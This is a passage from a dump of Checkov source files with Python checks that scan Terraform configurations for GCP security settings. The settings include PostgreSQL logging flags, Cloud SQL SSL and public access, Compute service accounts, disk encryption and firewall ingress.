conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_min_duration_statement') and (flag['value'] != '-1'):\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogMinDuration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinErrorStatement.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags\n\nFLAG_NAME = 'log_min_error_statement'\nFLAG_VALUES = [\n    \"debug5\",\n    \"debug4\",\n    \"debug3\",\n    \"debug2\",\n    \"debug1\",\n    \"info\",\n    \"notice\",\n    \"warning\",\n    \"error\"\n]\n\n\nclass GoogleCloudPostgreSqlLogMinErrorStatement(AbsGooglePostgresqlDatabaseFlags):\n    def __init__(self):\n        name = \"Ensure the GCP PostgreSQL database log levels are set to ERROR or lower\"\n        check_id = \"CKV_GCP_109\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=check_id,\n            categories=categories,\n            supported_resources=supported_resources,\n            flag_name=FLAG_NAME,\n            flag_values=FLAG_VALUES\n        )\n\n\ncheck = GoogleCloudPostgreSqlLogMinErrorStatement()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogMinMessage.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogMinMessage(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value\"\n        check_id = \"CKV_GCP_55\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which has valid value in log_min_messages flag on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0],\n                                  list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    logmin_list = ['fatal', 'panic', 'log', 'error', 'warning', 'notice',\n                                   'info', 'debug1', 'debug2', 'debug3', 'debug4', 'debug5']\n                    for flag in flags:\n                        if isinstance(flag, dict) and flag['name'] == 'log_min_messages' and flag['value'] not in logmin_list:\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogMinMessage()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogStatement.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGooglePostgresqlDatabaseFlags import AbsGooglePostgresqlDatabaseFlags\n\nFLAG_NAME = 'log_statement'\nFLAG_VALUES = [\n    'ddl',\n    'mod',\n    'all'\n]\n\n\nclass GoogleCloudPostgreSqlLogStatement(AbsGooglePostgresqlDatabaseFlags):\n    def __init__(self):\n        name = \"Ensure GCP PostgreSQL logs SQL statements\"\n        check_id = \"CKV_GCP_111\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(\n            name=name,\n            id=check_id,\n            categories=categories,\n            supported_resources=supported_resources,\n            flag_name=FLAG_NAME,\n            flag_values=FLAG_VALUES\n        )\n\n\ncheck = GoogleCloudPostgreSqlLogStatement()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogTemp.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudPostgreSqlLogTemp(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure PostgreSQL database 'log_temp_files flag is set to '0'\"\n        check_id = \"CKV_GCP_56\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.LOGGING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which allows slog temp files set to '0' on PostgreSQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'POSTGRES' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag if key in ['name', 'value']} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'log_temp_files') and (flag['value'] != '0'):\n                            self.evaluated_keys = ['database_version/[0]/POSTGRES',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/POSTGRES', 'settings/[0]/database_flags']\n\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudPostgreSqlLogTemp()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GoogleCloudSqlBackupConfiguration(BaseResourceValueCheck):\n    def __init__(self) -> None:\n        name = \"Ensure all Cloud SQL database instance have backup configuration enabled\"\n        id = \"CKV_GCP_14\"\n        supported_resources = (\"google_sql_database_instance\",)\n        categories = (CheckCategories.BACKUP_AND_RECOVERY,)\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult:\n        if \"master_instance_name\" in conf:\n            return CheckResult.UNKNOWN\n        return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self) -> str:\n        return \"settings/[0]/backup_configuration/[0]/enabled\"\n\n\ncheck = GoogleCloudSqlBackupConfiguration()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GoogleCloudSqlDatabasePubliclyAccessible(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that Cloud SQL database Instances are not open to the world\"\n        id = \"CKV_GCP_11\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which is open to the world:\n        :param conf: google_sql_database_instance configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'settings' in conf and 'ip_configuration' in conf['settings'][0]:\n            ip_config = conf['settings'][0]['ip_configuration'][0]\n            self.evaluated_keys = ['settings/[0]/ip_configuration']\n            if 'authorized_networks' in ip_config:\n                auth_networks = ip_config['authorized_networks']\n                if not isinstance(auth_networks, list):  # handle possible legacy case\n                    auth_networks = [auth_networks]\n                for network in auth_networks:\n                    if 'value' in network:\n                        val = network['value']\n                        if isinstance(val, list):  # handle possible parsing discrepancies\n                            val = val[0]\n                        if val.endswith('/0'):\n                            self.evaluated_keys = ['settings/[0]/ip_configuration/authorized_networks/[0]/value',\n                                                   'settings/[0]/ip_configuration/authorized_networks/[0]/'\n                                                   f'[{auth_networks.index(network)}]/value']\n                            return CheckResult.FAILED\n            if 'dynamic' in ip_config:\n                dynamic = ip_config['dynamic']\n                for dynamic_block in dynamic:\n                    if 'authorized_networks' in dynamic_block and 'content' in dynamic_block['authorized_networks']:\n                        content = dynamic_block['authorized_networks']['content'][0]\n                        if 'value' in content and content['value'][0].endswith('/0'):\n                            self.evaluated_keys = ['settings/[0]/ip_configuration/dynamic/'\n                                                   f'[{dynamic.index(dynamic_block)}]/'\n                                                   'authorized_networks/content/[0]/value']\n                            return CheckResult.FAILED\n\n        return CheckResult.PASSED\n\n\ncheck = GoogleCloudSqlDatabasePubliclyAccessible()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py",
    "content": "from checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\nDEFAULT_ALLOWED_SSL_MODES = [\"TRUSTED_CLIENT_CERTIFICATE_REQUIRED\"]\nSQLSERVER_ALLOWED_SSL_MODES = [\"ENCRYPTED_ONLY\"]\n\n\nclass GoogleCloudSqlDatabaseRequireSsl(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure all Cloud SQL database instance requires all incoming connections to use SSL\"\n        id = \"CKV_GCP_6\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n        Looks for google_sql_database_instance which do not enforce SSL connections:\n        :param\n        conf: google_sql_database_instance\n        configuration\n        :return: < CheckResult >\n        \"\"\"\n\n        if 'settings' in conf.keys() and 'ip_configuration' in conf['settings'][0]:\n            ipconfiguration = conf['settings'][0]['ip_configuration'][0]\n\n            if 'ssl_mode' in ipconfiguration:\n                ssl_mode = ipconfiguration['ssl_mode']\n                ssl_mode = ssl_mode[0] if isinstance(ssl_mode, list) else ssl_mode\n\n                # SQL Server does not support DEFAULT_ALLOWED_SSL_MODES (https://docs.cloud.google.com/sql/docs/postgres/admin-api/rest/v1/instances#ipconfiguration)\n                if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]:\n                    if ssl_mode in SQLSERVER_ALLOWED_SSL_MODES:\n                        return CheckResult.PASSED\n\n                if ssl_mode in DEFAULT_ALLOWED_SSL_MODES:\n                    return CheckResult.PASSED\n\n            elif 'require_ssl' in ipconfiguration:\n\n                require_ssl = ipconfiguration['require_ssl']\n                require_ssl = require_ssl[0] if isinstance(require_ssl, list) else require_ssl\n\n                if require_ssl:\n                    return CheckResult.PASSED\n\n        return CheckResult.FAILED\n\n    def get_inspected_keys(self):\n        return ['settings/[0]/ip_configuration/[0]/ssl_mode/[0]', 'settings/[0]/ip_configuration/[0]/require_ssl/[0]']\n\n\ncheck = GoogleCloudSqlDatabaseRequireSsl()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerContainedDBAuthentication.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudSqlServerContainedDBAuthentication(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure SQL database 'contained database authentication' flag is set to 'off'\"\n        check_id = \"CKV_GCP_59\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which prevents containers DB authentication on SQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):'database_flags':\n                        # [[{'name': '<key>', 'value': '<value>'}, {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing\n                        # (list of dictionaries with arrays): 'database_flags':\n                        # [{'name': ['<key>'], 'value': ['<value>']},{'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'contained database authentication') and (flag['value'] == 'on'):\n                            self.evaluated_keys = ['database_version/[0]/SQLSERVER',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings/[0]/database_flags']\n\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudSqlServerContainedDBAuthentication()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerCrossDBOwnershipChaining.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudSqlServerCrossDBOwnershipChaining(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure SQL database 'cross db ownership chaining' flag is set to 'off'\"\n        check_id = \"CKV_GCP_58\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.GENERAL_SECURITY]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which prevents cross ownerships on SQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n        if 'database_version' in conf.keys() and isinstance(conf['database_version'][0], str) and 'SQLSERVER' in conf['database_version'][0]:\n            if 'settings' in conf.keys():\n                self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings']\n                flags = conf['settings'][0].get('database_flags')\n                if flags:\n                    evaluated_keys_prefix = 'settings/[0]/database_flags'\n                    if isinstance(flags[0], list):\n                        # treating use cases of the following database_flags parsing\n                        # (list of list of dictionaries with strings):\n                        # 'database_flags': [[{'name': '<key>', 'value': '<value>'},\n                        # {'name': '<key>', 'value': '<value>'}]]\n                        flags = flags[0]\n                        evaluated_keys_prefix += '/[0]'\n                    else:\n                        # treating use cases of the following database_flags parsing (list of dictionaries with arrays):\n                        # 'database_flags': [{'name': ['<key>'], 'value': ['<value>']},\n                        # {'name': ['<key>'], 'value': ['<value>']}]\n                        flags = [{key: flag[key][0] for key in flag} for flag in flags]\n                    for flag in flags:\n                        if (isinstance(flag, dict) and flag['name'] == 'cross db ownership chaining') and (flag['value'] == 'on'):\n                            self.evaluated_keys = ['database_version/[0]/SQLSERVER',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/name',\n                                                   f'{evaluated_keys_prefix}/[{flags.index(flag)}]/value']\n                            return CheckResult.FAILED\n                    self.evaluated_keys = ['database_version/[0]/SQLSERVER', 'settings/[0]/database_flags']\n\n            return CheckResult.PASSED\n        return CheckResult.UNKNOWN\n\n\ncheck = GoogleCloudSqlServerCrossDBOwnershipChaining()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleCloudSqlServerNoPublicIP.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\n\n\nclass GoogleCloudSqlServerNoPublicIP(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure Cloud SQL database does not have public IP\"\n        check_id = \"CKV_GCP_60\"\n        supported_resources = ['google_sql_database_instance']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=check_id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for google_sql_database_instance which have no public IPs on SQL DBs::\n            :param\n            conf: google_sql_database_instance\n            configuration\n            :return: < CheckResult >\n        \"\"\"\n\n        if 'settings' in conf.keys() and 'ip_configuration' in conf['settings'][0] and \\\n                'ipv4_enabled' in conf['settings'][0]['ip_configuration'][0]:\n            ipconfiguration = conf['settings'][0]['ip_configuration'][0]\n            ipv4_enabled = ipconfiguration['ipv4_enabled']\n            ipv4_enabled = ipv4_enabled[0] if isinstance(ipv4_enabled, list) else ipv4_enabled\n            if ipv4_enabled:\n                self.evaluated_keys = ['database_version/[0]/SQLSERVER',\n                                       'settings/[0]/ip_configuration/[0]/ipv4_enabled']\n                return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = GoogleCloudSqlServerNoPublicIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py",
    "content": "from typing import List, Any\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\n\n\nclass GoogleComputeBlockProjectSSH(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure 'Block Project-wide SSH keys' is enabled for VM instances\"\n        id = \"CKV_GCP_32\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if ('source_instance_template' in conf.keys() and 'metadata' not in conf.keys()) or \\\n                ('source_instance_template' in conf.keys() and isinstance(conf['metadata'][0], dict) and 'block-project-ssh-keys' not in\n                 conf['metadata'][0].keys()):\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and block-project-ssh-keys is not present, then this check cannot PASS, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        else:\n            # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present.\n            return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'metadata/block-project-ssh-keys'\n\n    def get_expected_values(self) -> List[Any]:\n        # GCP enables feature with any of the following values\n        return [True, \"true\", \"True\", \"TRUE\"]\n\n\ncheck = GoogleComputeBlockProjectSSH()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py",
    "content": "from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass GoogleComputeBootDiskEncryption(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_38\"\n        supported_resources = ['google_compute_instance']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        self.evaluated_keys = ['boot_disk', 'boot_disk/[0]/disk_encryption_key_raw', 'boot_disk/[0]/kms_key_self_link']\n        if 'boot_disk' in conf.keys() and (('disk_encryption_key_raw' in conf['boot_disk'][0] and\n                                            conf['boot_disk'][0]['disk_encryption_key_raw'][0] is not None) or\n                                           ('kms_key_self_link' in conf['boot_disk'][0] and\n                                            conf['boot_disk'][0]['kms_key_self_link'][0] is not None)):\n            return CheckResult.PASSED\n        return CheckResult.FAILED\n\n\ncheck = GoogleComputeBootDiskEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nimport re\n\nDEFAULT_SERVICE_ACCOUNT = re.compile(r'\\d+-compute@developer\\.gserviceaccount\\.com')\n\n\nclass GoogleComputeDefaultServiceAccount(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that instances are not configured to use the default service account\"\n        id = \"CKV_GCP_30\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_from_template',\n                               'google_compute_instance_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for service account configuration at google_compute_instance:\n            https://www.terraform.io/docs/providers/google/r/compute_instance.html\n        :param conf: google_compute_instance configuration\n        :return: <CheckResult>\n        \"\"\"\n        if 'service_account' in conf.keys() and 'email' in conf['service_account'][0] and \\\n                not re.match(DEFAULT_SERVICE_ACCOUNT, conf['service_account'][0]['email'][0]):\n            self.evaluated_keys = ['service_account/[0]/email']\n            return CheckResult.PASSED\n        if 'name' in conf and conf['name'][0].startswith('gke-'):\n            self.evaluated_keys = ['name']\n            return CheckResult.PASSED\n        self.evaluated_keys = ['service_account/[0]/email', 'name']\n        if 'service_account' not in conf:\n            return CheckResult.UNKNOWN\n        return CheckResult.FAILED\n\n\ncheck = GoogleComputeDefaultServiceAccount()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py",
    "content": "from checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck\nimport re\n\nDEFAULT_SERVICE_ACCOUNT = re.compile(r'\\d+-compute@developer\\.gserviceaccount\\.com')\nFULL_ACCESS_API = 'https://www.googleapis.com/auth/cloud-platform'\nFULL_ACCESS_API2 = 'cloud-platform'\n\n\nclass GoogleComputeDefaultServiceAccountFullAccess(BaseResourceCheck):\n    def __init__(self):\n        name = \"Ensure that instances are not configured to use the default service account with full access\" \\\n               \" to all Cloud APIs\"\n        id = \"CKV_GCP_31\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_from_template',\n                               'google_compute_instance_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf):\n        \"\"\"\n            Looks for service account configuration at google_compute_instance:\n            https://www.terraform.io/docs/providers/google/r/compute_instance.html\n        :param conf: google_compute_instance configuration\n        :return: <CheckResult>\n        \"\"\"\n\n        if 'name' in conf:\n            if not isinstance(conf['name'][0], str):\n                return CheckResult.UNKNOWN\n            if conf['name'][0].startswith('gke-'):\n                self.evaluated_keys = ['name']\n                return CheckResult.PASSED\n\n        if 'source_instance_template' in conf.keys() and 'service_account' not in conf.keys():\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and service_account is not present, then this check cannot PASS, since we don't know what the\n            # underlying source template looks like.\n            return CheckResult.UNKNOWN\n        if 'service_account' in conf.keys():\n            service_account_conf = conf['service_account'][0]\n            self.evaluated_keys = ['service_account']\n            if isinstance(service_account_conf, dict):\n                self.evaluated_keys = ['service_account/[0]/scopes']\n                if 'email' in service_account_conf:\n                    self.evaluated_keys.append('service_account/[0]/email')\n                    if re.match(DEFAULT_SERVICE_ACCOUNT, service_account_conf['email'][0]):\n                        if len(service_account_conf['scopes']) > 0 and (FULL_ACCESS_API in service_account_conf['scopes'][0]\n                                                                        or FULL_ACCESS_API2 in service_account_conf['scopes'][0]):\n                            return CheckResult.FAILED\n                elif len(service_account_conf['scopes']) > 0 and (FULL_ACCESS_API in service_account_conf['scopes'][0] or\n                                                                  FULL_ACCESS_API2 in service_account_conf['scopes'][0]):\n                    return CheckResult.FAILED\n        return CheckResult.PASSED\n\n\ncheck = GoogleComputeDefaultServiceAccountFullAccess()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck\nfrom checkov.common.models.enums import CheckCategories\n\n\nclass GoogleComputeDiskEncryption(BaseResourceValueCheck):\n    def __init__(self):\n        name = \"Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)\"\n        id = \"CKV_GCP_37\"\n        supported_resources = ['google_compute_disk']\n        categories = [CheckCategories.ENCRYPTION]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def get_inspected_key(self):\n        return 'disk_encryption_key'\n\n    def get_expected_value(self):\n        return ANY_VALUE\n\n\ncheck = GoogleComputeDiskEncryption()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py",
    "content": "from checkov.common.models.consts import ANY_VALUE\nfrom checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck\nfrom checkov.common.models.enums import CheckCategories, CheckResult\n\n\nclass GoogleComputeExternalIP(BaseResourceNegativeValueCheck):\n    def __init__(self):\n        name = \"Ensure that Compute instances do not have public IP addresses\"\n        id = \"CKV_GCP_40\"\n        supported_resources = ['google_compute_instance', 'google_compute_instance_template',\n                               'google_compute_instance_from_template']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources)\n\n    def scan_resource_conf(self, conf) -> CheckResult:\n        if 'source_instance_template' in conf.keys() and 'network_interface' not in conf.keys():\n            # if the source_instance_template value is there (indicating a google_compute_instance_from_template),\n            # and the networks _interface block is not present, then this check cannot PASS,\n            # since we don't know what the underlying source template looks like.\n            return CheckResult.UNKNOWN\n        else:\n            # in all other cases, pass/fail the check if block-project-ssh-keys is true/false or not present.\n            return super().scan_resource_conf(conf)\n\n    def get_inspected_key(self):\n        return 'network_interface/[0]/access_config'\n\n    def get_forbidden_values(self):\n        return [ANY_VALUE]\n\n\ncheck = GoogleComputeExternalIP()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress20.py",
    "content": "from checkov.common.models.enums import CheckCategories\nfrom checkov.terraform.checks.resource.gcp.AbsGoogleComputeFirewallUnrestrictedIngress import AbsGoogleComputeFirewallUnrestrictedIngress\n\nPORT = 20\n\n\nclass GoogleComputeFirewallUnrestrictedIngress20(AbsGoogleComputeFirewallUnrestrictedIngress):\n    def __init__(self):\n        name = \"Ensure Google compute firewall ingress does not allow on ftp port\"\n        id = \"CKV_GCP_77\"\n        supported_resources = ['google_compute_firewall']\n        categories = [CheckCategories.NETWORKING]\n        super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, port=PORT)\n\n\ncheck = GoogleComputeFirewallUnrestrictedIngress20()\n"
  },
  {
    "path": "checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress21.py",
